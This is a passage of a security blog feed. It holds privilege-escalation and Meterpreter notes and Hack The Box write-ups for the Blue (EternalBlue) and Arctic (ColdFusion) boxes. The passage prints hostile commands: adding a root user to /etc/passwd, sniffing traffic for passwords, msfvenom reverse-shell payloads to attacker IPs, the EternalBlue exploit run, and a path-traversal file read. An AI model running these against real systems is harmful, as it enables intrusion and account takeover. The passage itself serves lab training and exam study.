class="line"&gt;&lt;span class="cl"&gt;sudo tcpdump -i lo -A | grep &amp;#34;pass&amp;#34;&#9;#Capture traffic&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep &amp;#34;CRON&amp;#34; /var/log/syslog&#9;&#9;&#9;&#9;&#9;#View automated tasks in system logs; also similar to a lightweight pspy32&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/sbin/getcap -r / 2&amp;gt;/dev/null&#9;&#9;#Privilege escalation with cap_setuid+ep&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;searchsploit &amp;#34;linux kernel Ubuntu 16 Local Privilege Escalation&amp;#34; | grep &amp;#34;4.&amp;#34; | grep -v &amp;#34; &amp;lt; 4.4.0&amp;#34; | grep -v &amp;#34;4.8&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# A searchsploit technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;/etc/passwd Abuse&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;openssl passwd w00t&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo &amp;#34;root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash&amp;#34; &amp;gt;&amp;gt; /etc/passwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;How to Build a New Wordlist&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Generate new passwords from a base password according to minimum and maximum lengths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crunch 6 6 -t Lab%%% &amp;gt; wordlist&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="windows-privilege-escalation"&gt;&lt;a href="#windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Windows Privilege Escalation&#10;&lt;/h5&gt;&lt;p&gt;I am only noting part of it here, mostly as a reminder.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When all other methods fail, inspect the winPEASany.exe output carefully&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is comprehensive; the manual methods below cover information already integrated into winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Service privilege escalation&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic service get name,displayname,pathname,startmode |findstr /i &amp;#34;auto&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="msf-post-exploitation"&gt;&lt;a href="#msf-post-exploitation" class="header-anchor"&gt;&lt;/a&gt;msf Post-Exploitation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Indicates whether the target machine is in use; the output below means the user has been away for nine minutes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;idletime&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;User has been idle for: 9 mins 53 secs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# First action&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;getsystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Process migration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;migrate 8052&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Start a hidden Notepad process and migrate into it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;execute -H -f notepad&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;migrate 8052&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run this first in PowerShell to bypass the system execution-policy restriction&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PowerShell -ExecutionPolicy Bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell -ep bypass&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Port forwarding&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;portfwd add -l 3389 -p 3389 -r 172.16.5.200&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Configure the proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;use auxiliary/server/socks_proxy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;show options&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set SRVHOST 127.0.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;set VERSION 5&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;run -j&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This creates a SOCKS5 proxy on local port 1080 for use with proxychains&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="101some-oscp-ideas"&gt;&lt;a href="#101some-oscp-ideas" class="header-anchor"&gt;&lt;/a&gt;101.Some OSCP Ideas&#10;&lt;/h3&gt;&lt;p&gt;I came across some interesting lessons while reading oscptext. These ideas are worth writing down.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;When you find an arbitrary file read, do not blindly trust the PoC. Remember to test it manually—the PoC itself may simply fail.&lt;/p&gt;&#10;&lt;p&gt;For file inclusion, try writing to a log and then reading it: ../../../../../../../../../var/log/apache2/access.log /opt/admin.bak.php&lt;/p&gt;&#10;&lt;p&gt;File uploads can sometimes overwrite existing files. Try overwriting the public key.&lt;/p&gt;&#10;&lt;p&gt;i686-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32&lt;/p&gt;&#10;&lt;p&gt;UAC bypass is a pretty interesting technique. After Import-Module NtObjectManager, Get-NtTokenIntegrityLevel will tell you the integrity level. If it is Medium, you can try a UAC bypass.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;h3 id="102post-exploitation-scripts"&gt;&lt;a href="#102post-exploitation-scripts" class="header-anchor"&gt;&lt;/a&gt;102.Post-Exploitation Scripts&#10;&lt;/h3&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/rebootuser/LinEnum" target="_blank" rel="noopener"&#10; &gt;https://github.com/rebootuser/LinEnum&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://linpeas.sh/" target="_blank" rel="noopener"&#10; &gt;https://linpeas.sh/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/DominicBreuker/pspy" target="_blank" rel="noopener"&#10; &gt;https://github.com/DominicBreuker/pspy&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;aes:&lt;a class="link" href="https://tool.lmeee.com/jiami/aes" target="_blank" rel="noopener"&#10; &gt;https://tool.lmeee.com/jiami/aes&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;rsa:&lt;a class="link" href="https://www.bejson.com/enc/rsa/" target="_blank" rel="noopener"&#10; &gt;https://www.bejson.com/enc/rsa/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;phpinfo LFI race condition: &lt;a class="link" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion" target="_blank" rel="noopener"&#10; &gt;https://github.com/vulhub/vulhub/tree/master/php/inclusion&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;SSH tunneling: &lt;a class="link" href="https://wangdoc.com/ssh/port-forwarding" target="_blank" rel="noopener"&#10; &gt;https://wangdoc.com/ssh/port-forwarding&lt;/a&gt;, &lt;a class="link" href="https://harttle.land/2022/05/02/ssh-port-forwarding.html" target="_blank" rel="noopener"&#10; &gt;https://harttle.land/2022/05/02/ssh-port-forwarding.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Windows exploit analysis: &lt;a class="link" href="https://github.com/AonCyberLabs/Windows-Exploit-Suggester" target="_blank" rel="noopener"&#10; &gt;https://github.com/AonCyberLabs/Windows-Exploit-Suggester&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Windows EternalBlue series: &lt;a class="link" href="https://github.com/SecWiki/windows-kernel-exploits" target="_blank" rel="noopener"&#10; &gt;https://github.com/SecWiki/windows-kernel-exploits&lt;/a&gt;&lt;/p&gt;&#10;</description></item><item><title>Hack The Box: Windows Box Notes</title><link>http://xtpol.com/p/hackthebox-windows-boxes/</link><pubDate>Thu, 12 Dec 2024 12:29:00 +0800</pubDate><guid>http://xtpol.com/p/hackthebox-windows-boxes/</guid><description>&lt;h2 id="1blue"&gt;&lt;a href="#1blue" class="header-anchor"&gt;&lt;/a&gt;1.Blue&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Given the box name and everything else, it was pretty clear this was EternalBlue.&lt;/p&gt;&#10;&lt;p&gt;But I couldn&amp;rsquo;t use msf to get a shell, even though msf makes things very convenient.&lt;/p&gt;&#10;&lt;p&gt;So I started looking for exploit tools. There were plenty on ExploitDB and GitHub, but the problem was that none of them were easy to use. The GitHub author said Python 2 worked fine, while Python 3 might not run.&lt;/p&gt;&#10;&lt;p&gt;Then came setting up the Python 2 environment, which was a real pain.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install --upgrade setuptools wheel&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pycryptodomex ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyOpenSSL==20.0.1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install pyasn1 pyasn1_modules pycryptodomex pyOpenSSL==20.0.1 ldap3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 -m pip install impacket --no-deps --ignore-installed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run the following if the last command above fails to install&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;git clone https://github.com/SecureAuthCorp/impacket.git&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cd impacket&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 setup.py install&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s the project URL above. I consulted a lot of documentation and downloaded the project to Kali.&lt;/p&gt;&#10;&lt;p&gt;There are several files in the shellcode folder, and the important one is eternalblue_sc_merge.py.&lt;/p&gt;&#10;&lt;p&gt;Following the instructions in eternalblue_sc_merge.py, I generated universal shellcode. The Blue box is actually x64, but I figured I might as well generate a universal one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell/reverse_tcp EXITFUNC=thread lhost=192.168.1.10 lport=4443 -f raw -o sc_x64_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.100 LPORT=4444 -f raw -o sc_x86_msf.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Once sc_all.bin had been generated, the last step was launching the attack. I could use msfconsole as the listener, but I really wanted to use netcat. Using msfconsole just to listen should be fine, and I could probably have called it done there: the OSCP rules say you can&amp;rsquo;t use msf for attacks, but using it as a listener shouldn&amp;rsquo;t be a major issue. Still, to be rigorous, I decided to do it with pure netcat.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc couldn&amp;rsquo;t catch the connection with the method above.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;An improved version of the project: &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I read through the project&amp;rsquo;s issues, and the author had apparently improved the program back in 2018.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But in reality, I wasted a lot of time here. It wasn&amp;rsquo;t properly fixed at all, and I just kept testing it.&lt;/p&gt;&#10;&lt;p&gt;So I went back to the original GitHub project: &lt;a class="link" href="https://github.com/worawit/MS17-010" target="_blank" rel="noopener"&#10; &gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x64.asm -o sc_x64_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nasm -f bin eternalblue_kshellcode_x86.asm -o sc_x86_kernel.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3333&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.16.3 LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x64_kernel.bin sc_x64_msf.bin &amp;gt; sc_x64.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat sc_x86_kernel.bin sc_x86_msf.bin &amp;gt; sc_x86.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python2 eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python eternalblue_exploit7.py 192.168.1.100 sc_all.bin&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It turned out that all I needed to do was change the module msfvenom used to generate the payload.&lt;/p&gt;&#10;&lt;p&gt;But the payload generated by the improved project at &lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/&lt;/a&gt; kept having problems. After reading shell_prep.sh, I found that entering 1 and 1 for the next two prompts was basically no different from the commands above, yet it still didn&amp;rsquo;t work. So I&amp;rsquo;m shelving this project for now.&lt;/p&gt;&#10;&lt;p&gt;The corrected commands finally gave me a shell.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The shell dropped me straight in as SYSTEM, and the flags were right there on the user and administrators desktops. That&amp;rsquo;s it for this box.&lt;/p&gt;&#10;&lt;p&gt;Below are the blogs and other references I used. They were pretty helpful. EternalBlue is one of the most basic things beginners learn, but I&amp;rsquo;d never really looked into how it works under the hood and had only ever used msfconsole to attack it. Using a Python script this time definitely felt different.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/" target="_blank" rel="noopener"&#10; &gt;https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/a6avind/MS17-010/blob/master/README.md" target="_blank" rel="noopener"&#10; &gt;https://github.com/a6avind/MS17-010/blob/master/README.md&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/2&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5" target="_blank" rel="noopener"&#10; &gt;https://github.com/3ndG4me/AutoBlue-MS17-010/issues/5&lt;/a&gt;&lt;/p&gt;&#10;&lt;h2 id="2arctic"&gt;&lt;a href="#2arctic" class="header-anchor"&gt;&lt;/a&gt;2.Arctic&#10;&lt;/h2&gt;&lt;p&gt;Reconnaissance:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find any exploitable vulnerabilities in rpc, so I took a look at the service on port 8500 and found the framework and version: Adobe ColdFusion 8.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A quick Google search turned up an arbitrary file read vulnerability.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" href="http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../Windows/win.ini%00en&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Read the password:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;&lt;a class="link" 